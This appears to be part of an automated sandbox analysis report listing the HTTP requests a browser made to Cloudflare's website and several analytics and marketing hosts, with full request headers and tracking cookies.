Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=6; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259324234\|4\|1\|bat.bing.com/p/insights/c/u; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261189; s_sq=cloudflareinc
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261189; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%25
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_t=1729259351831&_biz_i=Website%20Under%20Attack%3F%20%7C%20Get%2024%2F7%20Emergency%20Support%20%7C%20Cloudflare&_biz_n=6&rnd=987175&cdn_o=a&_biz_z=1729259351832 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=a2b38722-3e50-4143-a704-703bfe9b85f5 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=6; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259324234\|4\|1\|bat.bing.com/p/insights/c/u; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261189; s_sq=cloudflareinc
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=6; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261189; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=c1910c9b-f2a2-4705-8fc0-5ba97f36ebbe&wu=e94968ef-2552-4e4d-90d8-70a75875c7ad&ca=2024-10-18T13%3A48%3A12.870Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fbookingadocel.com%2F&pv=1&fv=2024-10-18-65af8c0735&iml=false&ic=false HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: 4p+Sp2DIMPQ5xt0iYp0fvA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=313e5d00-14c6-4c9c-930c-f9e0b64cae30 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_t=1729259351831&_biz_i=Website%20Under%20Attack%3F%20%7C%20Get%2024%2F7%20Emergency%20Support%20%7C%20Cloudflare&_biz_n=6&rnd=987175&cdn_o=a&_biz_z=1729259351832 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=45f73bda-3d77-4a5f-adf6-1b3e7fb2667f HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=6b8445b9-9ddc-48c9-b288-de785446d8da HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259350954\|5\|1\|bat.bing.com/p/insights/c/u; _biz_nA=7; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261216; _lr_tabs_-ykolez%2
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=282852573 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
